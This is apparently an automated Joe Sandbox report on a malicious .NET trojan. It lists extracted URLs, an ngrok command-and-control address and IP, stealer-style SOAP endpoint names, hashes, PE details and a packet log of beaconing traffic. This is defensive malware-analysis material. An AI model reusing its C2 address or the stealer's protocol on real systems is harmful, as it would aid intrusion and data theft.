Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	kuEfaZxkiY.exe	false		high
http://tempuri.org/Endpoint/CheckConnectLR	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	kuEfaZxkiY.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DAC000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DAC000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnect	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsLR	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/8	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentResponse	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/SetEnvironmentLR	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://dashboard.ngrok.com	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E72000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E67000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E64000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E5F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E6D000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E6F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E62000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E6B000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC7000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ipify.orgcookies//settinString.Removeg	kuEfaZxkiY.exe	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdatesLR	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateLR	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/GetUpdatesResponse	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://0.tcp.in.ngrok.io:17383	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://0.tcp.in.ngrok.io	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DB4000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://tempuri.org/Endpoint/	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002E74000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp, kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false	1%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/CheckConnectT	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp	false	2%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tempuri.org/0	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DAC000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://0.tcp.in.ngrok.io:17383/.	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002DC9000.00000004.00000800.00020000.00000000.sdmp	false	9%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D9F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/actor/next	kuEfaZxkiY.exe, 00000000.00000002.2946473125.0000000002D01000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
3.6.115.182	0.tcp.in.ngrok.io	United States		16509	AMAZON-02US	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1393953
Start date and time:	2024-02-17 20:41:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	kuEfaZxkiY.exe renamed because original name is a hash value
Original Sample Name:	117EEF8A227E6CE3646718D0ED6FB7B1.exe
Detection:	MAL
Classification:	mal96.troj.winEXE@2/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 3 Number of non-executed functions: 1
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3.6.115.182	RN2vknsx6G.exe	Get hash	malicious	RedLine	Browse	0.tcp.in.ngrok.io:17440/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
0.tcp.in.ngrok.io	ae6T8jJueq.exe	Get hash	malicious	Njrat	Browse	3.6.115.64
	nOZ2Oqnzbz.exe	Get hash	malicious	Njrat	Browse	3.6.115.64
	iR2UtZj5vP.exe	Get hash	malicious	Njrat	Browse	3.6.122.107
	ZB7Ot9MOic.exe	Get hash	malicious	Njrat	Browse	3.6.30.85
	etJZk4UQhS.exe	Get hash	malicious	Njrat	Browse	3.6.122.107
	jango.exe	Get hash	malicious	XWorm	Browse	3.6.30.85
	cracksetup.exe	Get hash	malicious	Nanocore	Browse	3.6.98.232
	LocalStaFvjUblU.exe	Get hash	malicious	njRat	Browse	3.6.122.107
	558EofiXYO.exe	Get hash	malicious	njRat	Browse	3.6.115.64
	JsYdl3ZkOA.exe	Get hash	malicious	njRat	Browse	3.6.115.64

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	JccyJc1Lds.exe	Get hash	malicious	Njrat	Browse	3.125.102.39
	ttbvIbUgTq.elf	Get hash	malicious	Unknown	Browse	130.176.250.126
	ZDKv0w0UwA.elf	Get hash	malicious	Unknown	Browse	13.50.181.194
	rl140Y9jeD.elf	Get hash	malicious	Mirai	Browse	18.176.199.54
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	18.153.210.61
	NS5jNpjR8t.elf	Get hash	malicious	Mirai	Browse	34.245.185.212
	Np14MVqF0i.elf	Get hash	malicious	Mirai	Browse	54.119.199.8
	b4ngl4d3shS3N941.x86.elf	Get hash	malicious	Unknown	Browse	34.249.145.219
	b4ngl4d3shS3N941.mips.elf	Get hash	malicious	Unknown	Browse	54.247.62.1
	jew.arm7.elf	Get hash	malicious	Mirai	Browse	52.35.208.171

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.960239123976663
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	kuEfaZxkiY.exe
File size:	97'792 bytes
MD5:	117eef8a227e6ce3646718d0ed6fb7b1
SHA1:	db6e21bf637604aa0be4f73142a1b7447cc83553
SHA256:	80488bf5f30ea2398ff207b9045a0e230aff2d052ea56156a0e96b57784dc0e5
SHA512:	b889b1b965251c74776d3f8981f042f6364157d3c3049e59ad3fbd12dc5d95b938db37870b2bb0de6781e7ee48c0a6cf80318b31b60b6df2be96241a34d478a1
SSDEEP:	1536:Fqsgaq+A/lbG6jejoigIP43Ywzi0Zb78ivombfexv0ujXyyed2z3teulgS6pQl:DfZeYP+zi0ZbYe1g0ujyzdfQ
TLSH:	B0A35D2067AC9F19EAFD1B74B4B2012043F1E08A9091FB4B4DC154E71FA7B865957EF2
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....................0..t..........>.... ........@.. ....................................@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x41933e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0xF00CA9A2 [Wed Aug 14 23:34:58 2097 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x192e8	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1a000	0x4de	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1c000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x17344	0x17400	38e22ac8e4d3010d0b39c201a2c0ce18	False	0.4487567204301075	data	6.015291136298434	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x1a000	0x4de	0x600	e3145af1e7dfa1e41fe7799ae002b612	False	0.3756510416666667	data	3.723940100220831	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1c000	0xc	0x200	89ebbf373068a00e5c68d2ac72a26374	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x1a0a0	0x254	data			0.4597315436241611
RT_MANIFEST	0x1a2f4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 17, 2024 20:42:01.792113066 CET	49729	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.070998907 CET	17383	49729	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.071491003 CET	49729	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.091609955 CET	49729	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.354696989 CET	17383	49729	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.355135918 CET	49729	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.366194010 CET	49729	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.367120028 CET	49730	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.370184898 CET	17383	49729	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.633975029 CET	17383	49729	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.644026995 CET	17383	49730	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.644282103 CET	49730	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.644577026 CET	49730	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.644800901 CET	17383	49729	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.921449900 CET	17383	49730	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.925757885 CET	17383	49730	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:02.925976038 CET	49730	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:02.926309109 CET	49730	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:03.204368114 CET	17383	49730	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:07.951719046 CET	49731	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:08.228625059 CET	17383	49731	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:08.228920937 CET	49731	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:08.229341984 CET	49731	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:08.507121086 CET	17383	49731	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:08.507185936 CET	17383	49731	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:08.507227898 CET	17383	49731	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:08.508773088 CET	49732	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:08.786103010 CET	17383	49732	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:08.786590099 CET	49732	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:08.787210941 CET	49732	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:09.063839912 CET	17383	49732	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:09.063874006 CET	17383	49732	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:09.063890934 CET	17383	49732	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:09.064066887 CET	49732	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:09.065391064 CET	49732	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:09.345135927 CET	17383	49732	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:09.346069098 CET	17383	49732	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:14.076436996 CET	49733	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:14.347162962 CET	17383	49733	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:14.347407103 CET	49733	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:14.347752094 CET	49733	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:14.618899107 CET	17383	49733	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:14.618962049 CET	17383	49733	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:14.618987083 CET	17383	49733	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:14.620450974 CET	49734	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:14.897140026 CET	17383	49734	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:14.897476912 CET	49734	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:14.897855997 CET	49734	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:15.174422026 CET	17383	49734	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:15.174482107 CET	17383	49734	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:15.174520016 CET	17383	49734	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:15.174587965 CET	49734	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:15.174747944 CET	49734	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:15.451549053 CET	17383	49734	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:15.451616049 CET	17383	49734	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:20.185735941 CET	49738	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:20.462649107 CET	17383	49738	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:20.462809086 CET	49738	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:20.463119030 CET	49738	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:20.739754915 CET	17383	49738	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:20.739814043 CET	17383	49738	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:20.739851952 CET	17383	49738	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:20.741075993 CET	49740	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:21.012978077 CET	17383	49740	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:21.013071060 CET	49740	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:21.013288975 CET	49740	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:21.286633968 CET	17383	49740	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:21.286698103 CET	17383	49740	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:21.286736965 CET	17383	49740	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:26.310903072 CET	49742	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:26.587691069 CET	17383	49742	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:26.587932110 CET	49742	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:26.588409901 CET	49742	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:26.865295887 CET	17383	49742	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:26.865360975 CET	17383	49742	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:26.865381002 CET	17383	49742	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:26.865678072 CET	49742	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:26.865905046 CET	49742	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:27.144587994 CET	17383	49742	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:27.144650936 CET	17383	49742	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:31.872966051 CET	49743	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:32.146126986 CET	17383	49743	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:32.146363974 CET	49743	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:32.146611929 CET	49743	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:32.419807911 CET	17383	49743	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:32.419871092 CET	17383	49743	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:32.419908047 CET	17383	49743	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:32.420025110 CET	49743	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:32.420243025 CET	49743	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:32.692466974 CET	17383	49743	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:32.692518950 CET	17383	49743	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:37.435472965 CET	49744	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:37.715094090 CET	17383	49744	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:37.715399981 CET	49744	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:37.716052055 CET	49744	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:37.994910002 CET	17383	49744	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:37.994970083 CET	17383	49744	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:37.994997978 CET	17383	49744	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:37.997251987 CET	49745	17383	192.168.2.4	3.6.115.182
